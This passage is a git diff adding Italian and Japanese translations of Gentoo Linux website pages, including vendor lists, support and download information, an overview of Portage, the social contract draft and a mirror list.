+<uri link="http://www.osdisc.com/cgi-bin/view.cgi/products/linux/gentoo">OSDisc.com</uri>
+</p>
+
+<p>
+<uri link="http://www.thelinuxstore.ca">The Linux Store</uri>
+</p>
+
+<p>
+<b>Europa:</b>
+</p>
+
+<p>
+<uri link="http://getlinux.leprado.com">Getlinux (Francia)</uri>
+</p>
+
+<p>
+<uri link="http://www.linux2go.de">Linux2Go (Germania)</uri>
+</p>
+
+<p>
+<uri link="http://www.cheaplinux.de/systeme/gentoo.php">CheapLinux
+(Germania)</uri>
+</p>
+
+<p>
+<uri link="http://www.linux-distro.co.uk">Linux-Distro (Regno Unito)</uri>
+</p>
+
+<p>
+<b>Oceania:</b>
+</p>
+
+<p>
+<uri link="http://shop.linuxit.com.au/">Linux Information Technology
+(Australia)</uri>
+</p>
+
+<p>
+<uri link="http://www.lsl.com.au/">Linux System Labs (Australia)</uri>
+</p>
+
+<p>
+<uri link="http://www.linuxcdmall.com/gentoo.html">Linux CD Mall (Nuova
+Zelanda)</uri>
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Computer con Gentoo Linux pre-installato</title>
+<body>
+
+<p>
+Le seguenti aziende vendono computer con a bordo Gentoo Linux pre-installato.
+</p>
+
+<p>
+<b>America del Nord:</b>
+</p>
+
+<p>
+<uri link="http://linuxcertified.com/gentoo-laptop.html">Linux Certified,
+Inc.</uri>
+</p>
+
+<p>
+<uri link="http://www.microway.com">Microway, Inc.</uri>
+</p>
+
+<p>
+<b>Australia:</b>
+</p>
+
+<p>
+<uri link="http://www.vgcomputing.com.au">VG Computing</uri>
+</p>
+
+<p>
+<b>Europa:</b>
+</p>
+
+<p>
+<uri link="http://www.linux-service.be">Linux Service (Belgio)</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>Volete essere elencati in questa pagina?</title>
+<body>
+
+<p>
+Per i rivenditori elencati in questa pagina, Gentoo richiede che essi vendano i
+nostri supporti come no "profit" come descritto nella GPL (costo ragionevole
+per coprire le spese) oppure stipulare un accordo con Gentoo per l'inserimento
+nell'elenco. Tale accordo potrebbe essere quello di donare una parte del
+ricavato a Gentoo, o potrebbe essere gratis, a discrezione di Gentoo. I
+rivenditori che supportano il mondo open source saranno tenuti in altissima
+considerazione per l'inserimento gratuito nell'elenco. Non elenchiamo
+rivenditori commerciali che non restituiscono nulla a Gentoo poichè abbiamo già
+un negozio Gentoo. Se volete trarne profitto, contattare la <mail
+link="trustees@gentoo.org">fondazione Gentoo</mail> per negoziare un accordo.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/it/support.xml b/xml/htdocs/main/it/support.xml
new file mode 100644
index 00000000..d80a31a4
--- /dev/null
+++ b/xml/htdocs/main/it/support.xml
@@ -0,0 +1,111 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/support.xml,v 1.5 2007/07/12 22:09:37 scen Exp $ -->
+
+<mainpage lang="it">
+<title>Supporto per Gentoo Linux</title>
+
+<author title="Autore">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+ <author title="Redazione">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Traduzione">
+  <mail link="subbia@iitalia.com">Dario Cavallaro</mail>
+</author>
+
+<abstract>
+Come ottenere aiuto per Gentoo Linux
+</abstract>
+
+<!-- Il contenuto di questo documento sono resi disponibili sotto la licenze CC-BY-SA -->
+<!-- Leggete http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.4</version>
+<date>2005-04-30</date>
+
+<chapter>
+<title>Supporto</title>
+<section id="intro">
+<body>
+
+<p>
+Gentoo Linux è una distribuzione fatta da volontari, su cui si basano le nostre
+possibilità di supporto. Non è possibile per i nostri sviluppatori fornire
+supporto (a pagamento o con altre modalità) semplicemente perchè non disponiamo
+del tempo e delle risorse necessarie per farlo.
+</p>
+
+<p>
+Comunque abbiamo una grande comunità di Gentoo che testa, aiuta a documentare
+molti degli aspetti della distribuzione Gentoo.  Per ottenere aiuto vi
+indichiamo di postare le vostre domande su <uri
+link="http://forums.gentoo.org">Gentoo Forums</uri>, <uri
+link="/main/it/lists.xml">Mailing List di Gentoo</uri> oppure sui <uri
+link="/main/it/irc.xml">Canali di Chat di Gentoo</uri>. Questi modi di
+comunicare sono i più adatti per porre domande poichè la comunicazione è la base
+della "comune" conoscenza su Gentoo.
+</p>
+
+<p>
+Molti svilpputari di Gentoo frequentano spesso questi canali della comunità e
+fanno del loro meglio per contribuire a risolvere i problemi riscontrati.
+</p>
+
+</body>
+</section>
+<section id="requirements">
+<title>Richieste minime di Hardware</title>
+<body>
+
+<p>
+I requisiti minimi dell'hardware sono suddivisi per architettura e sono
+elencati sul nostro <uri link="/doc/it/handbook/index.xml">Manuale Gentoo</uri>.
+</p>
+
+<p>
+Link diretti per l'elenco dei requisiti minimi:
+<uri link="/doc/it/handbook/handbook-alpha.xml?part=1&amp;chap=2#doc_chap1">alpha</uri>,
+<uri link="/doc/it/handbook/handbook-amd64.xml?part=1&amp;chap=2#doc_chap1">amd64</uri>,
+<uri link="/doc/it/handbook/handbook-hppa.xml?part=1&amp;chap=2#doc_chap1">hppa</uri>,
+<uri link="/doc/it/handbook/handbook-mips.xml?part=1&amp;chap=2#doc_chap1">mips</uri>,
+<uri link="/doc/it/handbook/handbook-ppc.xml?part=1&amp;chap=2#doc_chap1">ppc</uri>,
+<uri link="/doc/it/handbook/handbook-ppc64.xml?part=1&amp;chap=2#doc_chap1">ppc64</uri>,
+<uri link="/doc/it/handbook/handbook-sparc.xml?part=1&amp;chap=2#doc_chap1">sparc</uri>,
+<uri link="/doc/it/handbook/handbook-x86.xml?part=1&amp;chap=2#doc_chap1">x86</uri>
+</p>
+
+</body>
+</section>
+<section id="downloading">
+<title>Download di Gentoo</title>
+<body>
+
+<p>
+Potete effettuare il download di Gentoo da uno dei nostri <uri
+link="/main/en/mirrors.xml">mirror</uri>. I file ISO si trovano sotto la
+directory <path>releases/</path>.
+</p>
+
+<p>
+Maggiori informazioni sui file ISO disponibili sono rintracciabili sul nostro
+<uri link="/doc/it/handbook/index.xml">Manuale Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section id="reporting">
+<title>Riportare Bug</title>
+<body>
+
+<p>
+Avete trovato un bug? Per favore <uri
+link="http://bugs.gentoo.org">segnalatelo</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
\ No newline at end of file
diff --git a/xml/htdocs/main/it/where.xml b/xml/htdocs/main/it/where.xml
new file mode 100644
index 00000000..07221b3a
--- /dev/null
+++ b/xml/htdocs/main/it/where.xml
@@ -0,0 +1,211 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/where.xml,v 1.26 2010/08/26 14:27:08 scen Exp $ -->
+
+<mainpage lang="it">
+<title>Dove trovare Gentoo Linux</title>
+
+<author title="Authore">
+  <mail link="www@gentoo.org">Gentoo WWW Team</mail>
+</author>
+<author title="Traduzione">
+  <mail link="subbia@iitalia.com">Dario Cavallaro</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>
+Come ottenere Gentoo Linux da Internet
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.74</version>
+<date>2010-08-17</date>
+
+<chapter>
+<title>Supporti per l'installazione</title>
+<section>
+<body>
+
+<p>
+Gentoo Linux è liberamente scaricabile da Internet, tramite i collegamenti alle
+immagini iso e architetture appropriate disponibili qui di seguito.
+</p>
+
+<p>
+Si prega di consultare il <uri link="/doc/it/handbook/">Manuale Gentoo</uri> per
+maggiori informazioni su come scaricare ed installare Gentoo.
+</p>
+
+<!-- No torrents for the autobuilds for the forseeable future
+o, se preferite BitTorrent, troverete un
+elenco di torrent a disposizione su <uri
+link="http://torrents.gentoo.org">torrents.gentoo.org</uri>.-->
+
+<ul>
+  <li>
+    alpha: <uri
+    link="http://distfiles.gentoo.org/releases/alpha/autobuilds/current-iso/">
+    iso</uri>
+    <uri
+   link="http://distfiles.gentoo.org/releases/alpha/autobuilds/current-stage3/">
+    stage</uri>
+  </li>
+  <li>
+    amd64: <uri
+    link="http://distfiles.gentoo.org/releases/amd64/autobuilds/current-iso/">
+    iso</uri>
+    <uri
+   link="http://distfiles.gentoo.org/releases/amd64/autobuilds/current-stage3/">
+    stage</uri>
+  </li>
+  <li>
+    arm: <uri
+    link="http://distfiles.gentoo.org/releases/arm/autobuilds/current-stage3/">
+    stage</uri>
+  </li>
+  <li>
+    hppa: <uri
+    link="http://distfiles.gentoo.org/releases/hppa/autobuilds/current-stage3/">
+    stage</uri>
+  </li>
+  <li>
+    ia64: <uri
+    link="http://distfiles.gentoo.org/releases/ia64/autobuilds/current-iso/">
+    iso</uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/ia64/autobuilds/current-stage3/">
+    stage</uri>
+  </li>
+  <li>
+    ppc: <uri
+    link="http://distfiles.gentoo.org/releases/ppc/autobuilds/current-iso/">iso
+    </uri>
+  <uri
+    link="http://distfiles.gentoo.org/releases/ppc/autobuilds/current-stage3/">
+    stage</uri>
+  </li>
+  <li>
+    s390: <uri
+    link="http://distfiles.gentoo.org/releases/s390/autobuilds/current-stage3/">
+    stage</uri>
+  </li>
+  <li>
+    sh: <uri
+    link="http://distfiles.gentoo.org/releases/sh/autobuilds/current-stage3/">
+    stage</uri>
+  </li>
+  <li>
+    sparc: <uri
+    link="http://distfiles.gentoo.org/releases/sparc/autobuilds/current-iso/">
+    iso</uri>
+    <uri
+   link="http://distfiles.gentoo.org/releases/sparc/autobuilds/current-stage3/">
+    stage</uri>
+  </li>
+  <li>
+    x86: <uri
+    link="http://distfiles.gentoo.org/releases/x86/autobuilds/current-iso/">iso
+    </uri>
+    <uri
+    link="http://distfiles.gentoo.org/releases/x86/autobuilds/current-stage3/">
+    stage</uri>
+  </li>
+</ul>
+
+<p>
+Se preferite scegliere voi stessi un mirror a voi vicino, consultare la pagina
+<uri link="/main/en/mirrors.xml">Gentoo Mirrors</uri> (in inglese, ndt).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Dettagli tecnici</title>
+<section>
+<body>
+
+<p>
+Tutte le descrizioni, note di rilascio, road map, sotto-progetti ed un elenco
+degli sviluppatori Gentoo che lavorano sui mezzi di distribuzione di Gentoo si
+possono trovare nella nostra <uri link="/proj/en/releng/">pagina del Release
+Engineering Project</uri>.
+</p>
+
+</body>
+</section>
+
+<!-- Autobuild start -->
+
+<section>
+<title>Stage e CD d'Installazione Minimale di Gentoo settimanali</title>
+<body>
+
+<p>
+Il nostro team di Ingegneria dei Rilasci fornisce CD d'installazione minimali e
+stage su base settimanale. Potete trovare questi rilasci su qualsiasi dei
+nsotri mirror in <path>/releases/&lt;arch&gt;/current/</path> o in
+<path>/releases/&lt;arch&gt;/current-stage3/</path>. Non tutte le architetture
+vengono aggiornate nel medesimo giorno.
+</p>
+
+<p>
+Siccome questi rilasci vengono creati automaticamente dai server
+dell'Ingegneria Rilasci può accadere che uno stage o cd non venga prodotto in
+una data settimana. Quando ciò avviene, è sufficiente usare l'ultimo CD e stage
+disponibili. Ulteriori rilasci sono disponibili sui nostri mirror in
+<path>/releases/&lt;arch&gt;/autobuilds/</path>. Usate questa directory se non
+c'è niente di abbastanza recente in <path>current-iso/</path> o in
+<path>current-stage3/</path>.
+</p>
+
+<!-- Autobuild end -->
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Altri supporti</title>
+
+<!-- 10.1 START -->
+<section>
+<title>Gentoo 10.1</title>
+
+<body>
+<p>
+<b>LiveDVD (rilasciato il 10 Ottobre 2009)</b>
+<br/>(fino a 2.6 gigabyte a seconda dell'architettura)
+<br/>
+<uri
+link="http://bouncer.gentoo.org/fetch/gentoo-10.1-livedvd/amd64/">amd64</uri>
+<uri
+link="http://bouncer.gentoo.org/fetch/gentoo-10.1-livedvd/x86/">x86</uri>
+</p>
+
+</body>
+</section>
+
+<!-- 10.1 END -->
+
+<!-- Vendors Link -->
+<section>
+<title>DVD e CD di Gentoo DVD</title>
+<body>
+
+<p>
+Se sfortunatamente non si hanno i mezzi per scaricare le immagini dei CD o DVD,
+aventi dimensioni notevoli, è possibile acquistare direttamente un <uri
+link="stores.xml">DVD o CD di Gentoo</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ja/about.xml b/xml/htdocs/main/ja/about.xml
new file mode 100644
index 00000000..9da79a7f
--- /dev/null
+++ b/xml/htdocs/main/ja/about.xml
@@ -0,0 +1,96 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ja/about.xml,v 1.13 2007/03/16 10:40:44 neysx Exp $ -->
+
+<mainpage lang="ja">
+<title>About Gentoo</title>
+<author title="Author">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Editor">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="翻訳">
+  <mail link="hagi@p1d.com">萩原佳明</mail>
+</author>
+<author title="翻訳">
+  <mail link="kirameister@gmail.com">Akira KAKINOHANA</mail>
+</author>
+
+<abstract>
+About Gentoo, an overview.
+</abstract>
+
+<version>1.5</version>
+<date>2006-05-07</date>
+<!-- Original revision: 1.35 -->
+
+<chapter>
+<title>About Gentoo</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Gentoo って何?</title>
+<body>
+
+<p>
+Gentooは、LinuxやFreeBSDをベースにしたフリーのオペレーティングシステムで、
+殆んど全てのアプリケーションに対して自動的に最適化/特化させることができます。
+設定項目の自由度やパフォーマンス、最高のユーザ/デベロッパーコミュニティは Gentoo の大きな特徴と言えるでしょう。
+</p>
+
+<p>
+Portage という技術のおかげで Gentoo を理想的な程、安全なサーバや開発用ワークステーション、プロフェッショナルデスクトップ、ゲーム専用機、組み込み型ソリューション等 -- あなたの必要なもの全て -- にすることができます。
+殆んど究極に近い順応性のおかげで、Gentoo は「<b>メタ</b>ディストリビューショ
+ン」と呼ばれています。
+</p>
+
+</body>
+</section>
+<section>
+<title>Portage って何?</title>
+<body>
+
+<p>
+<b>Portage</b> は Gentoo の心臓部にあたり、主要な機能を担っています。
+その1つに Portage は Gentoo の<e>ソフトウェアディストリビューション</e>システム(ソフトウェア配布システム) という機能を持っています。
+最新のソフトウェアを入手するために必要なコマンドは１つだけ：<c>emerge --sync</c>。
+このコマンドにより、Portage はあなたのマシンのローカルにある "Portage tree" をインターネットを通して最新のものにアップデートします。
+あなたのローカルにあるPortage tree には、最新の Gentoo パッケージを作成/インストールする為にPortage により使われるスクリプトが収められています。
+<uri link="http://packages.gentoo.org">アップデートされたり、新しいパッケージが加えられたり</uri>しながら、現在我々は <uri link="http://packages.gentoo.org/categories">10,000</uri>を越えるパッケージを Portage tree の中に持っています。
+</p>
+
+<p>
+Portage は<e>パッケージのビルド/インストール</e>システムでもあります。
+パッケージをインストールしたい場合、<c>emerge packeagename</c> とタイプして下さい。
+その結果、あなたのマシンのハードウェアに最適化し、指定されたオプションを -- 必要なものとそうでないものを -- 有効化/無効化しながら、
+Portage は自動的にあなたの環境に合ったパッケージを作成します。
+</p>
+
+<p>
+Portage により、あなたのシステムを<e>最新のもの</e>にできます。
+<c>emerge -uD world</c> とタイプ (1コマンドです) することにより、
+あなたのシステムにある<e>全てのパッケージ</e>が自動的に更新されます。
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ja/contract.xml b/xml/htdocs/main/ja/contract.xml
new file mode 100644
index 00000000..76a37e85
--- /dev/null
+++ b/xml/htdocs/main/ja/contract.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<mainpage id="contract">
+<title>Gentoo Linux 社会契約(Social Contract) -- ドラフト</title>
+<author title="Author"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+<author title="翻訳"><mail link="shindo-n@zephyr.dti.ne.jp">シンドウ</mail></author>
+
+<abstract></abstract>
+
+<version>1.1</version>
+<date>29 Sep 2002</date>
+<!-- Original revision: 1.2 -->
+
+<chapter>
+<title>Gentoo Linux 社会契約(Social Contract)</title>
+<section>
+<title>Gentoo Linux の社会契約(Social Contract)について</title>
+<body>	
+<P>
+この社会契約は(今のところ改良と問題点の明確化のため <e>ドラフト版</e> となっています)
+Gentoo Linux 開発チームの、全般的な開発方針および標準を明確に記述するためのものです。
+このドキュメントの各部分は 
+<uri link="http://www.debian.org/social_contract">Debian Social Contract(Debian 社会契約)</uri> 
+に由来しており全体的によく似ていますが、問題とされたり、増えた部分、
+また一方で冗長と思われ割愛された部分があります。
+コメントは大歓迎です。私たちの ML
+<mail link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail>
+まで送ってください。
+</P>
+</body>
+</section>
+
+<section>
+<title>Gentoo Linux は今も、そしてこれからもフリーソフトウェアでありつづけます</title>
+<body>
+
+<p>
+私たちは GPL2 (または、私たちの判断にてその後バージョン) の下で GentooLinux 
+への私たちの貢献をフリーソフトウェアとしてリリースしていきます。
+もし法律的に私たちが可能であれば、 Gentoo Linux 
+へのあらゆる外部の貢献を(自由配布可能なソースもしくはバイナリーの形において)
+ Gentoo Linux に組み入れるかもしれません。しかしながら、Gentoo Linux は、
+もしそのソフトウェアが GPL や LGPL その他 Open Source Initiative
+(<uri link="http://www.opensource.org/licenses/index.html">OSI</uri>) 
+にて認められたのライセンスに準拠していなかった場合は、そのソフトウェア一つのみに
+<i>依存</i> することはありません。
+</p>
+
+<note>
+私たちは Gentoo Linux のコアコンポーネントの全てが OSI <e>および
+</e>Free Software Foundation(<uri link="http://www.gnu.org/">FSF</uri>.)
+が承認したライセンスに、必ず準拠するよう上記の条項を拡張することを考えています。
+</note>
+
+</body>
+</section>
+<section>
+<title>私たちはフリーソフトウェアコミュニティーにお返しをします</title>
+<body>
+<p>
+私たちは、可能な限りフリーソフトウェアの制作者らと協力関係を築き上げていきます。
+私たちは、私たちのシステムに含まれるソフトウェアのバグフィクスや改良、
+ユーザーリクエストなど様々なものを、そのソフトウェアの「上流」制作者達に提供していきます。
+また、私たちは、<e>私たちの</e> Gentoo Linux への貢献をきちんとドキュメント化するのはもちろん、
+Gentoo Linux で使われる全ての改良、外部のソースへの変更(パッチや
+ sed tewaks(sed を使った簡単な変更)やその他の形式に関わらず)もドキュメント化します。
+私たちは、私たちの改良やパッチがしっかりとドキュメント化され、説明されたならば、
+より大きなフリーソフトウェアコミュニティーに対しても、よりいっそう意味あるものになると考えています。
+なぜならば全ての人に、パッチやちょっとしたものなどに含まれる変更を文字通り理解するための時間や能力がある、
+とは限らないからです。
+</p>
+</body>
+</section>
+<section>
+<title>私たちは問題を隠したりしません</title>
+<body>
+<p>
+私たちは、私たちの <uri link="http://bugs.gentoo.org/">バグレポートデータベース</uri> を常に公共のものとして誰でも見られるようにオープンにしつづけます。ユーザーがオンラインで登録するレポートは直ちに他の人に見えるようになります。
+</p>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ja/mirrors.xml b/xml/htdocs/main/ja/mirrors.xml
new file mode 100644
index 00000000..189d22ae
--- /dev/null
+++ b/xml/htdocs/main/ja/mirrors.xml
@@ -0,0 +1,189 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage id="docs">
+	<title>Gentoo Linuxミラーサイト</title>
+	<author title="Editor">Kurt Lieber</author>
+	<author title="Editor">Jeffrey Forman</author>
+	<author title="翻訳">
+		<mail link="hiro@extreme.jpseed.jp">武田洋之</mail>
+	</author>
+	<version>1.3</version>
+	<date>February 26, 2004</date>
+	<!-- Original revision: 1.100 -->
+	<chapter>
+	<title>Gentoo Linuxミラー</title>
+		<section>
+			<title>Gentoo Linuxダウンロード用ミラーサイト一覧</title>
+			<body>
+			<p>次の組織は、インストールCD、Live CD、GRPパッケージセットを含む、Gentoo Linuxに関連するあらゆるファイルの完全なミラーを提供しています。</p>
+            <note>これらはダウンロード用のミラーサイトです。ここに挙げられたrsyncミラーサイトは、特定の用途(例えば<c>emerge sync</c>)向け<e>ではなく</e>、単にPortageツリーをダウンロードする代わりに、完全なミラーをダウンロードする為のものです。
+            </note>
+
+        		<p><b>北アメリカ:</b><br/>
+					<uri link="http://adelie.polymtl.ca/">Adelie Linux (カナダ)</uri><br/>
+					<uri link="ftp://cs.ubishops.ca/pub/gentoo">Bishop's University Computer Science Department (カナダ/ftp)</uri><br/>
+					<uri link="ftp://sunsite.ualberta.ca/pub/unix/Linux/gentoo/">University of Alberta (カナダ/ftp)</uri><br/>
+					<uri link="ftp://ibiblio.org/pub/Linux/distributions/gentoo/">ibiblio.org (米国/ftp)</uri><br/>
+					<uri link="http://www.gtlib.cc.gatech.edu/pub/gentoo">gatech.edu (米国)</uri><br/>
+					<uri link="ftp://ftp.gtlib.cc.gatech.edu/pub/gentoo">gatech.edu (米国/ftp)</uri><br/>
+					<uri link="http://csociety-ftp.ecn.purdue.edu/pub/gentoo/">purdue.edu (米国)</uri><br/>
+					<uri link="ftp://csociety-ftp.ecn.purdue.edu/pub/gentoo/">purdue.edu (米国/ftp)</uri><br/>
+					<uri link="rsync://csociety-ftp.ecn.purdue.edu/pub/gentoo/">purdue.edu (米国/rsync)</uri><br/>
+					<uri link="ftp://mirror.iawnet.sandia.gov/pub/gentoo/">Sandia National Labs (米国/ftp)</uri><br/>
+					<uri link="ftp://ftp.ussg.iu.edu/pub/linux/gentoo">Indiana University (米国/ftp)</uri><br/>
+					<uri link="ftp://ftp.ucsb.edu/pub/mirrors/linux/gentoo/">University of California, Santa Barbara (米国/ftp)</uri><br/>
+					<uri link="http://gentoo.seren.com/gentoo">Seren Innovations (米国)</uri><br/>
+					<uri link="rsync://gentoo.seren.com/gentoo">Seren Innovations (米国/rsync)</uri><br/>
+					<uri link="http://gentoo.chem.wisc.edu/gentoo/">University of Wisconsin at Madison Chemistry Department (米国/http)</uri><br/>
+					<uri link="ftp://gentoo.chem.wisc.edu/gentoo/">University of Wisconsin at Madison Chemistry Department (米国/ftp)</uri><br/>
+					<uri link="http://cudlug.cudenver.edu/gentoo/">University of Colorado at Denver Linux Users Group (米国)</uri><br/>
+					<uri link="ftp://cudlug.cudenver.edu/pub/mirrors/distributions/gentoo/">University of Colorado at Denver Linux Users Group (米国/ftp)</uri><br/>
+					<uri link="rsync://cudlug.cudenver.edu/gentoo">University of Colorado at Denver Linux Users Group (米国/rsync)</uri><br/>
+					<uri link="http://gentoo.mirrors.pair.com/">pair Networks (米国)</uri><br/>
+					<uri link="ftp://gentoo.mirrors.pair.com/">pair Networks (米国/ftp)</uri><br/>
+					<uri link="http://gentoo.ccccom.com">CCC Communications (米国)</uri><br/>
+					<uri link="ftp://gentoo.ccccom.com">CCC Communications (米国/ftp)</uri><br/>
+					<uri link="http://mirrors.tds.net/gentoo">TDS Internet Services (米国)</uri><br/>
+					<uri link="ftp://mirrors.tds.net/gentoo">TDS Internet Services (米国/ftp)</uri><br/>
+					<uri link="rsync://mirrors.tds.net/gentoo">TDS Internet Services (米国/rsync)</uri><br/>
+					<uri link="http://gentoo.netnitco.net">NetNITCO Internet Services (米国)</uri><br/>
+					<uri link="ftp://gentoo.netnitco.net/pub/mirrors/gentoo/source/">NetNITCO Internet Services (米国/ftp)</uri><br/>
+					<uri link="http://mirror.tucdemonic.org/gentoo/">mirror.tucdemonic.org (米国)</uri><br/>
+					<uri link="http://mirror.clarkson.edu/pub/distributions/gentoo/">Clarkson Open Source Institute (米国)</uri><br/>
+					<uri link="http://128.213.5.34/gentoo/">Rensselaer Polytechnic Institute (米国)</uri><br/>
+					<uri link="http://lug.mtu.edu/gentoo/">Michigan Tech LUG (米国)</uri><br/>
+					<uri link="ftp://lug.mtu.edu/gentoo/source">Michigan Tech LUG (米国/ftp)</uri><br/>
+					<uri link="rsync://lug.mtu.edu/distfiles">Michigan Tech LUG (米国/rsync)</uri><br/>
+					<uri link="ftp://gentoo.agsn.ca/">Arctic Gaming Server Network (カナダ/ftp)</uri><br/>
+					<uri link="http://open-systems.ufl.edu/mirrors/gentoo">Open Systems at University of Florida (米国/ftp)</uri><br/>
+					<uri link="http://mirror.cpsc.ucalgary.ca/mirror/gentoo.org">University of Calgary (カナダ/http)</uri><br/>
+					<uri link="ftp://mirror.cpsc.ucalgary.ca/mirror/gentoo.org">University of Calgary (カナダ/ftp)</uri><br/>
+					<uri link="http://gentoo.llarian.net/">Llarian Networks (米国/http)</uri><br/>
+					<uri link="ftp://gentoo.llarian.net/pub/gentoo">Llarian Networks (米国/ftp)</uri><br/>
+					<uri link="http://gentoo.binarycompass.org">Binarycompass.org (米国/http)</uri><br/>
+
+				</p>
+				<br/>
+				<!--<p><b>南アメリカ:</b><br/>
+				</p>-->
+        		<p><b>ヨーロッパ:</b><br/>
+					<uri link="http://gentoo.inode.at/">Inode (オーストリア)</uri><br/>
+					<uri link="ftp://gentoo.inode.at/source/">Inode (オーストリア/ftp)</uri><br/>
+					<uri link="http://ftp.gentoo.skynet.be/pub/gentoo/">Skynet Belgacom (ベルギー)</uri><br/>
+					<uri link="ftp://ftp.gentoo.skynet.be/pub/gentoo/">Skynet Belgacom (ベルギー/ftp)</uri><br/>
+					<uri link="rsync://rsync.gentoo.skynet.be/gentoo/">Skynet Belgacom (ベルギー/rsync)</uri><br/>
+					<uri link="http://ftp.belnet.be/mirror/rsync.gentoo.org/gentoo/">BELNET (ベルギー)</uri><br/>
+					<uri link="ftp://ftp.belnet.be/mirror/rsync.gentoo.org/gentoo/">BELNET (ベルギー/ftp)</uri><br/>
+					<uri link="rsync://ftp.belnet.be/gentoo/">BELNET (ベルギー/rsync)</uri><br/>
+					<uri link="http://ftp.linux.ee/pub/gentoo/distfiles/">ftp.linux.ee (エストニア)</uri><br/>
+					<uri link="ftp://ftp.linux.ee/pub/gentoo/distfiles/">ftp.linux.ee (エストニア/ftp)</uri><br/>
+					<uri link="http://trumpetti.atm.tut.fi/gentoo/">tut.fi (フィンランド)*</uri><br/>
+					<uri link="ftp://trumpetti.atm.tut.fi/gentoo/">tut.fi (フィンランド/ftp)*</uri><br/>
+					<uri link="rsync://trumpetti.atm.tut.fi/gentoo/">tut.fi (フィンランド/rsync)*</uri><br/>
+					<uri link="http://gentoo.mirror.sdv.fr">gentoo.mirror.sdv.fr (フランス/http)</uri><br/>					<uri link="ftp://ftp.tu-clausthal.de/pub/linux/gentoo/">tu-clausthal.de (ドイツ/ftp)</uri><br/>
+					<uri link="ftp://sunsite.informatik.rwth-aachen.de/pub/Linux/gentoo">rwth-aachen.de (ドイツ/ftp)</uri><br/>
+					<uri link="http://linux.rz.ruhr-uni-bochum.de/download/gentoo-mirror/">Ruhr-Universitat Bochum (ドイツ)</uri><br/>
+					<uri link="ftp://linux.rz.ruhr-uni-bochum.de/gentoo-mirror/">Ruhr-Universitat Bochum (ドイツ/ftp)</uri><br/>
+					<uri link="rsync://linux.rz.ruhr-uni-bochum.de/gentoo/">Ruhr-Universitat Bochum (ドイツ/rsync)</uri><br/>
+					<uri link="http://ftp.uni-erlangen.de/pub/mirrors/gentoo">Uni Erlangen-Nurnberg (ドイツ)</uri><br/>
+					<uri link="ftp://ftp.uni-erlangen.de/pub/mirrors/gentoo">Uni Erlangen-Nurnberg (ドイツ/ftp)</uri><br/>
+					<uri link="http://ftp6.uni-erlangen.de/pub/mirrors/gentoo">Uni Erlangen-Nurnberg (ドイツ/ipv6のみ)</uri><br/>
+					<uri link="ftp://ftp6.uni-erlangen.de/pub/mirrors/gentoo">Uni Erlangen-Nurnberg (ドイツ/ftp/ipv6のみ)</uri><br/>
+					<uri link="ftp://ftp.join.uni-muenster.de/pub/linux/distributions/gentoo">Uni Muenster/JOIN (ドイツ/ftp)*</uri><br/>
+					<uri link="rsync://ftp.join.uni-muenster.de/gentoo/">Uni Muenster/JOIN (ドイツ/rsync)*</uri><br/>
+					<uri link="ftp://ftp.join.uni-muenster.de/pub/linux/distributions/gentoo">Westfaelische Wilhelms-Universitaet (ドイツ/ftp IPV4 &amp; IPV6)*</uri><br/>
+					<uri link="ftp://ftp6.uni-muenster.de/pub/linux/distributions/gentoo">Westfaelische Wilhelms-Universitaet (ドイツ/ftp IPV4)</uri><br/>
+					<uri link="ftp://ftp.ipv6.uni-muenster.de/pub/linux/distributions/gentoo">Westfaelische Wilhelms-Universitaet (ドイツ/ftp IPV6)*</uri><br/>
+					<uri link="ftp://files.gentoo.gr">files.gentoo.gr (ギリシア/ftp)</uri><br/>					<uri link="http://ftp.rhnet.is/pub/gentoo/">RHnet (アイスランド)</uri><br/>
+					<uri link="http://gentoo.math.bme.hu">Budapest University of Technology (ハンガリー/http)</uri><br/>
